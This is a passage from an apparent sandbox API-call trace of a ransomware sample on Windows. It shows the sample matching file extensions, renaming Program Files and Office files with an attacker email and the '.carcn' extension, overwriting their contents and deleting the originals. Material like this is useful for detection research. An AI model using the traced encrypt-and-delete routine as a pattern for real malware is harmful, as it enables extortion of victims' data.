0xffffffff [0254.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0254.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0254.548] lstrlenW (lpString=".doc") returned 4 [0254.548] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0254.548] lstrlenW (lpString=".docx") returned 5 [0254.548] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0254.548] lstrlenW (lpString=".pdf") returned 4 [0254.548] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0254.548] lstrlenW (lpString=".xls") returned 4 [0254.548] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0254.548] lstrlenW (lpString=".xlsx") returned 5 [0254.548] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0254.548] lstrlenW (lpString=".ppt") returned 4 [0254.548] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0254.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0254.548] lstrlenW (lpString=".zip") returned 4 [0254.548] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0254.549] lstrlenW (lpString=".rar") returned 4 [0254.549] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0254.549] lstrlenW (lpString=".bz2") returned 4 [0254.549] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0254.549] lstrlenW (lpString=".7z") returned 3 [0254.549] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0254.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0254.549] lstrlenW (lpString=".dbf") returned 4 [0254.549] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0254.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0254.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0255.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0255.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0258.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0271.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0271.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0271.550] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fc64 | out: lpNewFilePointer=0x0) returned 1 [0271.550] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0271.550] ReadFile (in: hFile=0x414, lpBuffer=0x46b9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x46b9058*, lpNumberOfBytesRead=0x3e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0271.553] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0271.553] ReadFile (in: hFile=0x414, lpBuffer=0x46f9058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x46f9058*, lpNumberOfBytesRead=0x3e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0271.629] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3e3fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0271.629] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fc24 | out: lpNewFilePointer=0x0) returned 1 [0271.629] ReadFile (in: hFile=0x414, lpBuffer=0x4739058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3e3fc30, lpOverlapped=0x0 | out: lpBuffer=0x4739058*, lpNumberOfBytesRead=0x3e3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0271.655] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.655] WriteFile (in: hFile=0x414, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x3e3fca8, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fca8*=0xc0102, lpOverlapped=0x0) returned 1 [0271.881] SetEndOfFile (hFile=0x414) returned 1 [0271.881] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40000) returned 0x4610f18 [0271.887] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0271.887] WriteFile (in: hFile=0x414, lpBuffer=0x4610f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4610f18*, lpNumberOfBytesWritten=0x3e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0271.889] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0271.889] WriteFile (in: hFile=0x414, lpBuffer=0x4610f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4610f18*, lpNumberOfBytesWritten=0x3e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0271.894] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fc74 | out: lpNewFilePointer=0x0) returned 1 [0271.894] WriteFile (in: hFile=0x414, lpBuffer=0x4610f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3e3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4610f18*, lpNumberOfBytesWritten=0x3e3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0271.922] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0272.244] CloseHandle (hObject=0x414) returned 1 [0272.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x21) returned 1 [0272.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.342] lstrlenW (lpString=".doc") returned 4 [0272.342] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0272.342] lstrlenW (lpString=".docx") returned 5 [0272.342] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0272.342] lstrlenW (lpString=".pdf") returned 4 [0272.342] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0272.342] lstrlenW (lpString=".xls") returned 4 [0272.342] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0272.342] lstrlenW (lpString=".xlsx") returned 5 [0272.342] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0272.343] lstrlenW (lpString=".ppt") returned 4 [0272.343] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0272.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.343] lstrlenW (lpString=".zip") returned 4 [0272.343] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0272.343] lstrlenW (lpString=".rar") returned 4 [0272.343] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0272.343] lstrlenW (lpString=".bz2") returned 4 [0272.343] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0272.343] lstrlenW (lpString=".7z") returned 3 [0272.343] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0272.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.343] lstrlenW (lpString=".dbf") returned 4 [0272.343] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0272.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.343] lstrlenW (lpString=".1cd") returned 4 [0272.343] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0272.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.344] lstrlenW (lpString=".jpg") returned 4 [0272.344] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0272.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.344] lstrlenW (lpString=".doc") returned 4 [0272.344] lstrcmpiW (lpString1=".doc", lpString2=".jsa") returned -1 [0272.344] lstrlenW (lpString=".docx") returned 5 [0272.344] lstrcmpiW (lpString1=".docx", lpString2="s.jsa") returned -1 [0272.344] lstrlenW (lpString=".pdf") returned 4 [0272.344] lstrcmpiW (lpString1=".pdf", lpString2=".jsa") returned 1 [0272.344] lstrlenW (lpString=".xls") returned 4 [0272.344] lstrcmpiW (lpString1=".xls", lpString2=".jsa") returned 1 [0272.344] lstrlenW (lpString=".xlsx") returned 5 [0272.344] lstrcmpiW (lpString1=".xlsx", lpString2="s.jsa") returned -1 [0272.344] lstrlenW (lpString=".ppt") returned 4 [0272.344] lstrcmpiW (lpString1=".ppt", lpString2=".jsa") returned 1 [0272.345] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.345] lstrlenW (lpString=".zip") returned 4 [0272.345] lstrcmpiW (lpString1=".zip", lpString2=".jsa") returned 1 [0272.345] lstrlenW (lpString=".rar") returned 4 [0272.345] lstrcmpiW (lpString1=".rar", lpString2=".jsa") returned 1 [0272.348] lstrlenW (lpString=".bz2") returned 4 [0272.348] lstrcmpiW (lpString1=".bz2", lpString2=".jsa") returned -1 [0272.348] lstrlenW (lpString=".7z") returned 3 [0272.348] lstrcmpiW (lpString1=".7z", lpString2="jsa") returned -1 [0272.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.348] lstrlenW (lpString=".dbf") returned 4 [0272.348] lstrcmpiW (lpString1=".dbf", lpString2=".jsa") returned -1 [0272.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.348] lstrlenW (lpString=".1cd") returned 4 [0272.348] lstrcmpiW (lpString1=".1cd", lpString2=".jsa") returned -1 [0272.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned 57 [0272.348] lstrlenW (lpString=".jpg") returned 4 [0272.348] lstrcmpiW (lpString1=".jpg", lpString2=".jsa") returned -1 [0272.348] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0272.348] lstrlenW (lpString="OCEAN_01.MID") returned 12 [0272.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0272.485] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=5440) returned 1 [0272.485] CloseHandle (hObject=0x54c) returned 1 [0272.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220 [0272.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0272.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0272.734] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.734] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0272.735] GetLastError () returned 0x0 [0272.735] ReadFile (in: hFile=0x558, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x1540, lpOverlapped=0x0) returned 1 [0273.039] WriteFile (in: hFile=0x370, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1550, lpOverlapped=0x0) returned 1 [0273.040] ReadFile (in: hFile=0x558, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.040] WriteFile (in: hFile=0x370, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.040] SetEndOfFile (hFile=0x370) returned 1 [0273.040] CloseHandle (hObject=0x370) returned 1 [0273.040] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.041] SetEndOfFile (hFile=0x558) returned 1 [0273.043] CloseHandle (hObject=0x558) returned 1 [0273.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.044] lstrlenW (lpString=".doc") returned 4 [0273.044] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.044] lstrlenW (lpString=".docx") returned 5 [0273.044] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.044] lstrlenW (lpString=".pdf") returned 4 [0273.044] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.044] lstrlenW (lpString=".xls") returned 4 [0273.044] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.044] lstrlenW (lpString=".xlsx") returned 5 [0273.044] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.044] lstrlenW (lpString=".ppt") returned 4 [0273.044] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.044] lstrlenW (lpString=".zip") returned 4 [0273.044] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.044] lstrlenW (lpString=".rar") returned 4 [0273.044] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.045] lstrlenW (lpString=".bz2") returned 4 [0273.045] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.045] lstrlenW (lpString=".7z") returned 3 [0273.045] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.045] lstrlenW (lpString=".dbf") returned 4 [0273.045] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.045] lstrlenW (lpString=".1cd") returned 4 [0273.045] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.045] lstrlenW (lpString=".jpg") returned 4 [0273.045] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.045] lstrlenW (lpString=".doc") returned 4 [0273.045] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.045] lstrlenW (lpString=".docx") returned 5 [0273.045] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0273.045] lstrlenW (lpString=".pdf") returned 4 [0273.045] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.045] lstrlenW (lpString=".xls") returned 4 [0273.045] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.045] lstrlenW (lpString=".xlsx") returned 5 [0273.045] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0273.045] lstrlenW (lpString=".ppt") returned 4 [0273.045] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.045] lstrlenW (lpString=".zip") returned 4 [0273.045] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.046] lstrlenW (lpString=".rar") returned 4 [0273.046] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.046] lstrlenW (lpString=".bz2") returned 4 [0273.046] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.046] lstrlenW (lpString=".7z") returned 3 [0273.046] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.046] lstrlenW (lpString=".dbf") returned 4 [0273.046] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.046] lstrlenW (lpString=".1cd") returned 4 [0273.046] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0273.046] lstrlenW (lpString=".jpg") returned 4 [0273.046] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.046] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.046] lstrlenW (lpString="PARNT_03.MID") returned 12 [0273.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.128] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=8538) returned 1 [0273.128] CloseHandle (hObject=0x538) returned 1 [0273.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0273.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.129] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.129] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0273.130] GetLastError () returned 0x0 [0273.130] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x215a, lpOverlapped=0x0) returned 1 [0273.179] WriteFile (in: hFile=0x4bc, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2160, lpOverlapped=0x0) returned 1 [0273.180] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.181] WriteFile (in: hFile=0x4bc, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.181] SetEndOfFile (hFile=0x4bc) returned 1 [0273.181] CloseHandle (hObject=0x4bc) returned 1 [0273.181] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.181] SetEndOfFile (hFile=0x538) returned 1 [0273.188] CloseHandle (hObject=0x538) returned 1 [0273.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 